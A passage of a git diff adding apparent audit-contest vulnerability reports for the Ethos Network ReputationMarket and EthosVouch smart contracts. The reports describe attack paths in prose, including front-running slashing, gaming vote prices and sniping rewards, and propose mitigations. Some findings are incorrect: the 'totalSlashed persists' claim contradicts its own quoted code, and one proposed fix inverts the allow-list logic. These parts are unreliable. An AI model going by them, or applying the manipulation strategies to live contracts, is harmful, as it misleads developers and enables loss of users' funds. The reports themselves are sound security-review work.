[initialize()](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L201-L254) function. this function sets `enforceCreationAllowList` to `true`, allowing anyone to create a reputation market. However, the function responsible for market creation, [createMarketWithConfig()](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L281-L293), contains the following check: + +[ReputationMarket.sol#L284-L291](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L285-L291): + +```solidity + function createMarketWithConfig(uint256 marketConfigIndex) public payable whenNotPaused { + + ... + if (enforceCreationAllowList && !creationAllowedProfileIds[senderProfileId]) { + revert MarketCreationUnauthorized( + MarketCreationErrorCode.PROFILE_NOT_AUTHORIZED, + msg.sender, + senderProfileId + ); + } + ... + + } +``` + +The [creationAllowedProfileIds](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L129-L131) mapping is used to whitelist specific users permitted to create reputation markets. By default, this mapping is set to `false` for all users. As a result, the if statement will cause a revert because both if statement conditions evaluate to `true`, when a user attempts to create a market. + +Also if Admin sets the `enforceCreationAllowList` to `false`, all users can create reputation markets, even when they should not be authorized to do so. + +This creates a scenario where: + +1. Users cannot create a market when they should be allowed to. +2. Users can create a market when they should not be allowed to. + +## Impact + +**Damage:** Medium + +**Likelihood:** High + +**Details:** Users are unable to create a reputation market when they should be authorized to do so and Unauthorized users can create a reputation market when they should not be able to. + +## Proof of Concept + +**Attack Path:** + +Example 1: + +1. `enforceCreationAllowList` is set to `true`. +2. user calls `createMarketWithConfig()`, and the function reverts. + +Example 2: + +1. `enforceCreationAllowList` is set to `false`. +2. A user calls `createMarketWithConfig()`, and the function does not revert when it should. + +**POC:** + +- Not Needed + +## Recommended Mitigation + +Refactor the if statement to correctly validate whether the user is authorized to create a reputation market: + +```diff + + function createMarketWithConfig(uint256 marketConfigIndex) public payable whenNotPaused { + + ... + +- if (enforceCreationAllowList && !creationAllowedProfileIds[senderProfileId]) { +- revert MarketCreationUnauthorized( +- MarketCreationErrorCode.PROFILE_NOT_AUTHORIZED, +- msg.sender, +- senderProfileId +- ); +- } + ++ if (!enforceCreationAllowList) { ++ if (!creationAllowedProfileIds[senderProfileId]) { ++ revert MarketCreationUnauthorized( ++ MarketCreationErrorCode.PROFILE_NOT_AUTHORIZED, ++ msg.sender, ++ senderProfileId ++ ); ++ } ++ } + + ... + + } +``` \ No newline at end of file diff --git a/266.md b/266.md new file mode 100644 index 0000000..f902a25 --- /dev/null +++ b/266.md @@ -0,0 +1,62 @@ +Generous Denim Goldfish + +High + +# Users Can Avoid Slashing by Archiving Vouches + +### Summary + +In the slash function of `EthosVouch.sol`, a vulnerability exists that allows users to `front-run the slashing process`. By detecting a pending slashing transaction, users can call a separate unvouch function to archive their vouches before the slashing execution. This prevents their balances from being slashed, undermining the intended functionality of the slash mechanism. + +### Root Cause + +```javascript +function slash( + uint256 authorProfileId, + uint256 slashBasisPoints + ) external onlySlasher whenNotPaused nonReentrant returns (uint256) { + if (slashBasisPoints > MAX_SLASH_PERCENTAGE) { + revert InvalidSlashPercentage(); + } + + uint256 totalSlashed; + uint256[] storage vouchIds = vouchIdsByAuthor[authorProfileId]; + + for (uint256 i = 0; i < vouchIds.length; i++) { + Vouch storage vouch = vouches[vouchIds[i]]; + // Only slash active vouches + if (!vouch.archived) { + uint256 slashAmount = vouch.balance.mulDiv( + slashBasisPoints, + BASIS_POINT_SCALE, + Math.Rounding.Floor + ); +``` +It should alos account for archived vouches + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +1. A malicious user monitors for the initiation of the slash transaction (likely through mempool observation). +2. Upon detecting the slashing transaction targeting their authorProfileId, the attacker preemptively calls the unvouch function (or any function that archives their vouches). +3. This marks their vouches as archived, making them ineligible for slashing in the subsequent execution of the slash function. +4. The malicious user successfully avoids slashing + +### Impact + +The protocol wont get fees from the user, leading to loss + +### PoC + +_No response_ + +### Mitigation + +Introduce time-lock mechanisms to disallow immediate archiving of vouches after slashing is initiated. \ No newline at end of file diff --git a/267.md b/267.md new file mode 100644 index 0000000..c148369 --- /dev/null +++ b/267.md @@ -0,0 +1,109 @@ +Joyful Admiral Donkey + +High + +# Default Market configuration is incorrectly set, leading to massive overpayment by users when creating market with that config + +### Summary + +Default Market configuration is incorrectly set, leading to massive overpayment by users when creating market with that config + +### Root Cause + +In `ReputationMarket.sol`, the initialize function, sets up the initial market configuration. The initial market configs are pushed to `marketConfigs[]`, where the initial liquidity is set, but the `initialLiquidity` set, is incorrect, as it differs from the expected initial liquidity which ultimately results in `initialLiquidty` to be set `10x` more than required. + +Take a look at the following lines of code + +- [ReputationMarket.sol#L79](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L79) + +```solidity +uint256 public constant DEFAULT_PRICE = 0.01 ether; //@audit - default price used to calculate initial liquidity later +``` + + +- [ReputationMarket.sol#L219-L229](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L219-L229) + +```solidity + + // Default tier + // - Minimum viable liquidity for small/new markets +@>>>// - 0.002 ETH initial liquidity @audit requires 0.002 ether as initial liquidity + // - 1 vote each for trust/distrust (volatile price at low volume) + marketConfigs.push( + MarketConfig({ +@>>> initialLiquidity: 2 * DEFAULT_PRICE, //@audit - default price is 0.01 ether, so initial liquidity is 0.01 * 2 = 0.02 ether instead of 0.002 ether as mentioned in docs above + initialVotes: 1, + basePrice: DEFAULT_PRICE + }) + ); +``` + +We observe a similar scenario for the other two tiers, where the `initialLiquidity` is set to `0.5 ether instead of 0.05 ether`, and `1 ether instead of 0.1 ether`, respectively for the `Deluxe` & `Premium` Tiers. + + +- [ReputationMarket.sol#L231-L241](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L231-L241) + +```solidity + // Deluxe tier + // - Moderate liquidity for established profiles +@>>>// - 0.05 ETH initial liquidity @audit requires 0.05 ether as initial liquidity + // - 1,000 votes each for trust/distrust (moderate price stability) + marketConfigs.push( + MarketConfig({ +@>>> initialLiquidity: 50 * DEFAULT_PRICE, //@audit - default price is 0.01 ether, i.e initial liquidity is 0.01 * 50 = 0.5 ether instead of 0.05 ether as mentioned in docs above + initialVotes: 1000, + basePrice: DEFAULT_PRICE + }) + ); +``` + +- [ReputationMarket.sol#L243-L253](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L243-L253) + +```solidity + // Premium tier + // - High liquidity for stable price discovery +@>>>// - 0.1 ETH initial liquidity @audit requires 0.1 ether as initial liquidity + // - 10,000 votes each for trust/distrust (highly stable price) + marketConfigs.push( + MarketConfig({ +@>>> initialLiquidity: 100 * DEFAULT_PRICE, //@audit - default price is 0.01 ether, i.e initial liquidity is 0.01 * 100 = 1 ether instead of 0.1 ether as mentioned in docs above + initialVotes: 10000, + basePrice: DEFAULT_PRICE + }) + ); +``` + +Now, since the initialLiquidity is setup incorrectly, thus when the [`_createMarket()`]() is triggred by either users calling `createMarketWithConfig` or admins calling `createMarketWithConfigAdmin`, they overpay by `10x`, due to incorrect setting of `initialLiquidity`. + +```solidity + // ensure the user has provided enough initial liquidity + uint256 initialLiquidityRequired = marketConfigs[marketConfigIndex].initialLiquidity; +@>>>if (msg.value < initialLiquidityRequired) { // @audit - massive overpayment, due to incorrect initial liquidity + revert InsufficientInitialLiquidity(); + } +``` + + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +Default Market configuration is incorrectly set, leading to massive overpayment by users when creating market with that config + +### PoC + +_No response_ + +### Mitigation + +Update `DEFAULT_PRICE` to `0.001 ether` to match the required `initialLiquidity` for market configurations. \ No newline at end of file diff --git a/268.md b/268.md new file mode 100644 index 0000000..bae0cc5 --- /dev/null +++ b/268.md @@ -0,0 +1,73 @@ +Generous Denim Goldfish + +High + +# Rounding Prevents Slashing of Low Balances + +### Summary + +In the slash function of EthosVouch.sol, the calculation of the slashing amount uses floor rounding (Math.Rounding.Floor) when determining the proportional deduction. This leads to situations where balances below a certain threshold (e.g., 9 or less, depending on the slashing percentage) are not slashed at all. As a result, users with small balances can effectively evade penalties. + +### Root Cause + +```javascript + function slash( + uint256 authorProfileId, + uint256 slashBasisPoints + ) external onlySlasher whenNotPaused nonReentrant returns (uint256) { + if (slashBasisPoints > MAX_SLASH_PERCENTAGE) { + revert InvalidSlashPercentage(); + } + + uint256 totalSlashed; + uint256[] storage vouchIds = vouchIdsByAuthor[authorProfileId]; + + for (uint256 i = 0; i < vouchIds.length; i++) { + Vouch storage vouch = vouches[vouchIds[i]]; + // Only slash active vouches + if (!vouch.archived) { + uint256 slashAmount = vouch.balance.mulDiv( + slashBasisPoints, + BASIS_POINT_SCALE, + Math.Rounding.Floor + ); +``` +Lack of fee precision due to truncating fees + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +Users with low balances can escape slashing, undermining the effectiveness of the penalty mechanism. + +### PoC + +1. Assume the following: +- slashBasisPoints = 1,000 (10% slash rate). +- BASIS_POINT_SCALE = 10,000. +- A vouch with a balance of 9. +2. Calculate Slash amount +- The slashAmount would be 0.9 +- But due to rounding it becomes 0 + + + +### Mitigation + +Introduce a configurable minimum slash amount (e.g., 1 unit of balance) to ensure penalties are meaningful, regardless of balance size. +```javascript +uint256 slashAmount = vouch.balance.mulDiv(slashBasisPoints, BASIS_POINT_SCALE, Math.Rounding.Floor); +if (slashAmount < MIN_SLASH_AMOUNT && vouch.balance > MIN_SLASH_AMOUNT) { + slashAmount = MIN_SLASH_AMOUNT; +} +``` \ No newline at end of file diff --git a/269.md b/269.md new file mode 100644 index 0000000..93972d4 --- /dev/null +++ b/269.md @@ -0,0 +1,40 @@ +Gigantic Blue Nuthatch + +High + +# Lack of slippage protection in `sellVotes` function + +### Summary + +- There is no slippage in `sellVotes` function. When a user wants to sell his votes, user will give the amount of votes which he wants to sell as parameter. This votes will be sold at current price of votes by changing price after each vote sell. +- When you see `buyVotes` function, there is a slippage parameter which protects user from loss due to slippage and user can give minimum votes he wants as a parameter of slippage percentage. +- But in `sellVotes`, there is no protection for the user for loss of funds due to slippage. That means if price changes before the user sell the votes, user will get less price for his votes than expected. +- In `sellVotes` user cannot provide any kind of slippage which gives them protection from slippage. + +### Root Cause + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L495 + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +- There is no protection for the user from slippage in `sellVotes` so seller can get less price for his votes than expected. + +### PoC + +_No response_ + +### Mitigation + +- Protocol should implement slippage protection in `sellVotes` function just like `buyVotes`. \ No newline at end of file diff --git a/270.md b/270.md new file mode 100644 index 0000000..dab96fb --- /dev/null +++ b/270.md @@ -0,0 +1,85 @@ +Dancing Khaki Moose + +High + +# Market owners can purchase votes for their own markets + +### Summary + +In the `ReputationMarket` , users are expected to be able to buy votes for any market. However, there is no verification to ensure that the buyer isn't the owner of the market. As a result, market owners can manipulate the price of votes for their own markets at will. +```solidity + function buyVotes( + uint256 profileId, + bool isPositive, + uint256 expectedVotes, + uint256 slippageBasisPoints + ) public payable whenNotPaused activeMarket(profileId) nonReentrant { + _checkMarketExists(profileId); + + // Determine how many votes can be bought with the funds provided + ( + uint256 votesBought, + uint256 fundsPaid, + , + uint256 protocolFee, + uint256 donation, + uint256 minVotePrice, + uint256 maxVotePrice + ) = _calculateBuy(markets[profileId], isPositive, msg.value); + + _checkSlippageLimit(votesBought, expectedVotes, slippageBasisPoints); + + // Apply fees first + applyFees(protocolFee, donation, profileId); + + // Update market state + markets[profileId].votes[isPositive ? TRUST : DISTRUST] += votesBought; + votesOwned[msg.sender][profileId].votes[isPositive ? TRUST : DISTRUST] += votesBought; + + // Add buyer to participants if not already a participant + if (!isParticipant[profileId][msg.sender]) { + participants[profileId].push(msg.sender); + isParticipant[profileId][msg.sender] = true; + } + + // Calculate and refund remaining funds + uint256 refund = msg.value - fundsPaid; + if (refund > 0) _sendEth(refund); + + // tally market funds + marketFunds[profileId] += fundsPaid; + emit VotesBought( + profileId, + msg.sender, + isPositive, + votesBought, + fundsPaid, + block.timestamp, + minVotePrice, + maxVotePrice + ); + _emitMarketUpdate(profileId); + } +``` + +### Root Cause + + Lack of access control. + + +### Affected Code + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L442-L494 + +### Impact + +Vote prices can be influenced by market owners rather than by market demand. + +### Mitigation + +Add access control. +```solidity + if (profileId == _getProfileIdForAddress(msg.sender)) { + revert(".... ......"); + } +``` \ No newline at end of file diff --git a/271.md b/271.md new file mode 100644 index 0000000..79b6557 --- /dev/null +++ b/271.md @@ -0,0 +1,47 @@ +Damaged Lipstick Cheetah + +High + +# Missing slippage checks allows users to receive less funds than expected when selling votes + +### Summary + +Because there is no check for slippage when triggering `ReputationMarket`'s `sellVotes`, users can end up selling their votes at a smaller price than expected, incurring an undesired loss. + +### Root Cause + +In [`ReputationMarket.sol::501`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L495), the `sellVotes` function does not allow users to set slippage as the `buyVotes` function does. Because of this, users could sell their votes at an undesired rate, incurring an unexpected loss of funds. + +Note that the issue does not only arise in frontrunning scenarios. As demonstrated in the "Attack path" section, multiple users interacting with the protocol at the same time could also cause the issue. + +### Internal pre-conditions + +- User 1 wants to sell some votes at the current rate +- User 2 also wants to sell some votes at the current rate + +### External pre-conditions + +None. + +### Attack Path + +1. User 1 wants to sell 10 `TRUST` votes for a market with the default `basePrice` of 0,01 ETH. There are 50 `TRUST` votes and 50 `DISTRUST` votes. The expected initial price per vote to obtain for User 1 is then 0,005 ETH (50 * 0,01 / 100), which at the time of writing with timestamp 1733297946 has an equivalent USD price of 18,5 USD. +2. User 2 is also interacting with the protocol. Prior to the first user's vote selling, user 2 sells 30 `TRUST` votes. Due to the logic in the contract (mimicking supply and demand), vote price of `TRUST` decreases. After user 2 selling 30 votes, the price per vote becomes ≈ 0,0028 ETH (20 * 0,01 / 70), which is equivalent to ≈ 10,36 USD. +3. Finally, user 1 actually sells their 10 `TRUST` votes. As demonstrated, the price per vote has decreased in ≈ 8 USD per vote, which leads to a loss of more than 10 USD value. + +This is just an example of attack path. Other scenarios could lead to a bigger or smaller loss for users, depending on the amounts to be sold and the current state of the Reputation Market. + + +### Impact + +High. Following [Sherlock's guidelines on how to identify a high issue](https://docs.sherlock.xyz/audits/judging/guidelines#iv.-how-to-identify-a-high-issue), and as demonstrated in the attack path, depending on the amount being sold and in the market configuration, users will incur a loss of more than 10$ and more than 1% of their principal, which must be considered as a high issue. + + + +### PoC + +_No response_ + +### Mitigation + +Just like `buyVotes` allows users to specify `expectedVotes`, allow users to specify an `expectedValue` when selling votes, allowing potential slippage to be handled by the code. \ No newline at end of file diff --git a/272.md b/272.md new file mode 100644 index 0000000..16ed0df --- /dev/null +++ b/272.md @@ -0,0 +1,82 @@ +Generous Denim Goldfish + +High + +# Flawed totalSlashed Logic in EthosVouch.sol Allows Over-Slashing on Repeated Calls + +### Summary + +The slash function in EthosVouch.sol accumulates the total amount slashed into the totalSlashed variable. However, this value persists across multiple invocations, causing future slashing attempts to consider previously slashed amounts, leading to over-slashing. The issue arises because the function calculates the totalSlashed incrementally but does not reset or isolate it for a single transaction. + +### Root Cause + +```javascript + function slash( + uint256 authorProfileId, + uint256 slashBasisPoints + ) external onlySlasher whenNotPaused nonReentrant returns (uint256) { + if (slashBasisPoints > MAX_SLASH_PERCENTAGE) { + revert InvalidSlashPercentage(); + } + + uint256 totalSlashed; + uint256[] storage vouchIds = vouchIdsByAuthor[authorProfileId]; + + for (uint256 i = 0; i < vouchIds.length; i++) { + Vouch storage vouch = vouches[vouchIds[i]]; + // Only slash active vouches + if (!vouch.archived) { + uint256 slashAmount = vouch.balance.mulDiv( + slashBasisPoints, + BASIS_POINT_SCALE, + Math.Rounding.Floor + ); + if (slashAmount > 0) { + vouch.balance -= slashAmount; + totalSlashed += slashAmount; + } + } + } + + if (totalSlashed > 0) { + // Send slashed funds to protocol fee address + @> (bool success, ) = protocolFeeAddress.call{ value: totalSlashed }(""); + if (!success) revert FeeTransferFailed("Slash transfer failed"); + } + + emit Slashed(authorProfileId, slashBasisPoints, totalSlashed); + return totalSlashed; + } +``` +It should be slash amount instead of total slash + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +Users a slashed more than intended + +### PoC + +1. Assume a user with a vouch balance of 100. +2. Admin sets the slashing percentage (slashBasisPoints) to 10%. +3. After slashing totalSlashed becomes 10. +4. Protocol fee address is sent 10, and the user's balance reduces to 90. +5. The function does not reset totalSlashed. +6. If slash is called again +7. total shashed will now be 20 +8. And 20 will be removed from the balance instead of 10 + +### Mitigation + +Reset totalSlashed at the Beginning of Each Function Call \ No newline at end of file diff --git a/273.md b/273.md new file mode 100644 index 0000000..8e533cd --- /dev/null +++ b/273.md @@ -0,0 +1,116 @@ +Slow Tan Swallow + +Medium + +# Users can manipulate the buy price and buy votes at a lower one + +### Summary + +In volatile or expensive markets users would be able to implement a divergent buying, where instead of buying x number of votes they would buy 1 TRUST 1 DISTRUST at a time until they reach their desired number of votes, then they would sell the opposite. Even thought they are buying up and selling the opposite, they would still save on the total amount paid as the original vote they would have wished to buy would have increased with every buy. + +Example: +| *prerequisites* | *values* | +|-----------------|--------------| +| Base price | 1e18 (1 ETH) | +| TRUST | 10 | +| DISTRUST | 10 | +| Fees | 0% | + +Formula for calculating votes: + +$$ +\text{trustPrice} = \frac{{\text{votes[TRUST]} \cdot \text{basePrice}}}{{\text{votes[TRUST]} + \text{votes[DISTRUST]}}} +$$ + +$$ +\text{distrustPrice} = \frac{{\text{votes[DISTRUST]} \cdot \text{basePrice}}}{{\text{votes[TRUST]} + \text{votes[DISTRUST]}}} +$$ + + +Code for [_calcVotePrice](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L920-L923): +```solidity + function _calcVotePrice(Market memory market, bool isPositive) private pure returns (uint256) { + uint256 totalVotes = market.votes[TRUST] + market.votes[DISTRUST]; + + // votes[TRUST / DISTRUST] * basePrice / totalVotes + return (market.votes[isPositive ? TRUST : DISTRUST] * market.basePrice) / totalVotes; + } +``` +Normal buying (x can be T or D) +```mardown +x1 10 * 1e18 / 20 = 0.500000000000000000 +x2 11 * 1e18 / 21 = 0.523809523809523809 +x3 12 * 1e18 / 22 = 0.545454545454545454 +x4 13 * 1e18 / 23 = 0.565217391304347826 +x5 14 * 1e18 / 24 = 0.583333333333333333 + +x total price = 2.717814793901750422 +``` + +Expanded way (first we buy x, then y) +```mardown +x1 10 * 1e18 / 20 = 0.500000000000000000 +y1 10 * 1e18 / 21 = 0.476190476190476190 + +x2 11 * 1e18 / 22 = 0.500000000000000000 +y2 11 * 1e18 / 23 = 0.478260869565217391 + +x3 12 * 1e18 / 24 = 0.500000000000000000 +y3 12 * 1e18 / 25 = 0.480000000000000000 + +x4 13 * 1e18 / 26 = 0.500000000000000000 +y4 13 * 1e18 / 27 = 0.481481481481481481 + +x5 14 * 1e18 / 28 = 0.500000000000000000 +y5 14 * 1e18 / 29 = 0.482758620689655172 + +we sell all the y +y1 14 * 1e18 / 29 = 0.482758620689655172 +y2 13 * 1e18 / 28 = 0.464285714285714285 +y3 12 * 1e18 / 27 = 0.444444444444444444 +y4 11 * 1e18 / 26 = 0.423076923076923076 +y5 10 * 1e18 / 25 = 0.400000000000000000 + +x total price = 2.5 ETH +y total price = 2.398691447926830234 +y sold for = 2.214565702496736977 + +y loss => 2.398691447926830234 - 2.214565702496736977 = 0.184125745430093257 +x saved => 2.717814793901750422 - 2.5 = 0.217814793901750422 +``` + +As you can see we lost ~0.184 ETH buying `y`, however we saved up ~0.217 on `x` thanks to this strategy. That is 0.0336 ETH, however keep in mind that we have only bought 5 votes, the bigger the buy the bigger the saved up amounts. That is also true for volatile markets where small buys have big impacts and thus big savings using this strategy. With fees the same strategy is possible, as the fee would still impact the normal way and our way in about the same manner. + +We can also do this in 1 TX in order to avoid any malicious users taking advantage of our strategies. + + +### Root Cause + +The formula being used to calculate the votes + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +1. User wants to buy some votes in a volatile market +2. He makes a TX buying votes 1 T and 1 D at a time and then selling the ones he doesn't want +3. User saves up on total costs compared to other users, effectively gaming the market + +### Impact + +Users games the market. +User saves up on total costs compared to other users + +### PoC + +_No response_ + +### Mitigation + +The issues comes from the formula used. I can suggest to restrict each account to having either TRUST or DISTRUST for their vote, however that would restrict users in a bad way. \ No newline at end of file diff --git a/274.md b/274.md new file mode 100644 index 0000000..80c94a4 --- /dev/null +++ b/274.md @@ -0,0 +1,83 @@ +Generous Denim Goldfish + +Medium + +# Front-Running Vulnerability in _rewardPreviousVouchers Enables Malicious Reward Claims + +### Summary + +In the _rewardPreviousVouchers function, rewards are distributed proportionally among active vouches for a given subjectProfileId. However, since the function does not restrict new vouches just before rewards are distributed, a malicious user can detect an impending reward distribution and front-run the transaction by vouching a small amount. This allows them to unfairly claim a share of the rewards without meaningful prior contribution. + +### Root Cause + +```javascript + function _rewardPreviousVouchers( + uint256 amount, + uint256 subjectProfileId + ) internal returns (uint256 amountDistributed) { + uint256[] storage vouchIds = vouchIdsForSubjectProfileId[subjectProfileId]; + uint256 totalVouches = vouchIds.length; + + // Calculate total balance of all active vouches + uint256 totalBalance; + for (uint256 i = 0; i < totalVouches; i++) { + Vouch storage vouch = vouches[vouchIds[i]]; + // Only include active (not archived) vouches in the distribution + if (!vouch.archived) { + totalBalance += vouch.balance; + } + } + + // If this is the first voucher, do not distribute rewards + if (totalBalance == 0) { + return totalBalance; + } + + // Distribute rewards proportionally + uint256 remainingRewards = amount; + for (uint256 i = 0; i < totalVouches && remainingRewards > 0; i++) { + Vouch storage vouch = vouches[vouchIds[i]]; + if (!vouch.archived) { + // Calculate this vouch's share of the rewards + uint256 reward = amount.mulDiv(vouch.balance, totalBalance, Math.Rounding.Floor); + if (reward > 0) { + vouch.balance += reward; + remainingRewards -= reward; + } + } + } + + // Send any dust (remaining rewards due to rounding) to the subject reward escrow + if (remainingRewards > 0) { + _depositRewards(remainingRewards, subjectProfileId); + } + + return amount; + } +``` + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +Legitimate contributors receive less than their fair share of the rewards. + +### PoC + +1. Alice Observes there is about to distribution of rewards +2. Alice quickly increases his balance to a high amount or borrow loans +3. Due to reward being proportioanal to balance Alice receive the most shares with minimal cost + +### Mitigation + +Introduce a time-lock mechanism that prevents new vouches within a short period before reward distribution. \ No newline at end of file diff --git a/275.md b/275.md new file mode 100644 index 0000000..311d736 --- /dev/null +++ b/275.md @@ -0,0 +1,38 @@ +Generous Denim Goldfish + +Medium + +# Lack of Storage gap leads to storage collision + +### Summary + +When creating upgradable contracts that inherit from other contracts is important that there are storage gap in case storage variable are added to inherited contracts. If an inherited contract is a stateless contract (i.e. it doesn't have any storage) then it is acceptable to omit a storage gap, since these function similar to libraries and aren't intended to add any storage.The lack of _gap in these contract could lead to storage collisions if another state variables are introduced. + +### Root Cause + +Lack of storage gap in the contrats + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +The imported Access Control can pose a significant risk when updating a contract because they can shift the storage slots of all inherited contracts. + + +### PoC + +_No response_ + +### Mitigation + +Add storage gaps to all inherited contracts that contain storage variables. \ No newline at end of file diff --git a/276.md b/276.md new file mode 100644 index 0000000..ab43d73 --- /dev/null +++ b/276.md @@ -0,0 +1,79 @@ +Gigantic Blue Nuthatch + +High + +# Seller will get less amount due to wrong calculation in `_calculateSell` + +### Summary + +- When user sells his votes by `sellVotes`, user should get the price of vote from current price and then change in price at every sell of vote. +- When first vote is sold, vote count is decreased and calculate the price again from updated count which decrease the price of votes. This is the normal calculation which protocol wants to implement and it is similar to `buyVotes` calculation. +- The problem occurs in `_calculateSell` function where firstly vote price is calculated for current count, then without increases `fundsReceived` by current vote price, it decreases the count of vote which seller sells that means update the vote count. +- After that it calculate the vote price again with updated vote counts and this time it increases `fundsReceived` by vote price and this calculation continues for number of votes seller sells. + +```solidity +function _calculateSell( + Market memory market, + uint256 profileId, + bool isPositive, + uint256 amount + ) + private + view + returns ( + uint256 votesSold, + uint256 fundsReceived, + uint256 newVotePrice, + uint256 protocolFee, + uint256 minVotePrice, + uint256 maxVotePrice + ) + { + ... +@> uint256 votePrice = _calcVotePrice(market, isPositive); + + uint256 maxPrice = votePrice; + uint256 minPrice; + + while (votesSold < amount) { + if (market.votes[isPositive ? TRUST : DISTRUST] <= 1) { + revert InsufficientVotesToSell(profileId); + } +@> market.votes[isPositive ? TRUST : DISTRUST] -= 1; +@> votePrice = _calcVotePrice(market, isPositive); +@> fundsReceived += votePrice; + votesSold++; + } + ... + } +``` +- So this calculation does not account the current price of the vote at which seller sells the vote that means first vote sell will not count from current price but the price which comes after 1st vote count updates. +- And this is the sell calculation which means price decreases with every sell of vote that means seller will get less amount of eth than he should get due to wrong calculation in `_calculateSell`. + +### Root Cause + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L1026C1-L1040C6 + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +- Seller of the votes will get less amount of eth than he should get by selling his votes. + +### PoC + +_No response_ + +### Mitigation + +- Protocol should make sure that current price of vote is accounted and `fundReceived` is updated with current price then only vote count should decrease. The calculation of buy votes is correct so refer that. \ No newline at end of file diff --git a/277.md b/277.md new file mode 100644 index 0000000..edcc1ae --- /dev/null +++ b/277.md @@ -0,0 +1,60 @@ +Original Boysenberry Hare + +High + +# Donation Recipient Can Earn Donation Fees From a Reputation Market They Are No Longer Associated With + + +## Description + +**Context:** + +To understand this report, it’s essential to first understand how the `EthosProfile` contract works. (Note: In the current contest, this contract is out of scope, but its root cause and impact apply to the Reputation Market.) + +1. A user without a profile on the Ethos Protocol must be invited by another user with a valid Ethos profile. This is achieved by the inviting user calling the [EthosProfile::inviteAddress()](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosProfile.sol#L183-L214) function. +2. Once invited, the user can call the [EthosProfile::createProfile()](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosProfile.sol#L159-L175) function to create their profile in the Ethos Network. +3. A user with a valid Ethos profile can register other users under their profile by calling the [EthosProfile::registerAddress()](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosProfile.sol#L352-L389) function. This allows a single profile to have multiple associated users. +4. If a user loses trust or no longer wants another user to be associated with their profile, they can unregister and delete that user from the profile, by calling the [EthosProfile::deleteAddressAtIndex()](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosProfile.sol#L404-L430) function. + +Also Each profile has a unique ID that can be queried to identify the Profile. + +**Vulnerability details:** + +Imagine a profile with two users, `User1` and `User2`. `User1` has registered `User2` to his profile (let's say the profile ID is `10`). + +then `User2` creates a Reputation Market by calling the [createMarketWithConfig()](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L281-L293) function, becoming the donation recipient. This means `User2` receives donation fees whenever users buy votes from the market. + +Later on, `User1` loses trust in `User2` for whatever reason and unregisters him from the profile by calling `EthosProfile::deleteAddressAtIndex()` function. However, `User2` remains the donation recipient for the Reputation Market they created earlier and continues to earn fees. This is not how it should work, as `User2` is no longer associated with profile ID `10` (Repuation Markets Are Identified By Profile Id). + +The `ReputationMarket` contract should include a function to update the donation recipient when a user who is getting unregistered from a profile, is the current donation recipient of the market. This ensures that an unregistered user does not continue receiving fees from a Reputation Market they are no longer associated with. + +## Impact + +**Damage:** High + +**Likelihood:** High + +**Details:** If a user who is the donation recipient of a Reputation Market gets unregistered, they will continue to receive fees. The actual profile representatives, who own the market, which is identified by the profile ID, will receive nothing when users buy votes from their market. + +## Proof of Concept + +**Attack Path:** + +1. A profile has two users, `Bob` and `Alice`. The profile ID associated with this profile is `10`. +2. `Alice` creates a Reputation Market by calling the `createMarketWithConfig()` function, becoming the donation recipient for the market. As result, whoever buys votes from this market, fees will be transferred to `Alice`. +3. `Bob` loses trust in `Alice` for whatever reason and unregisters her from his profile by calling the 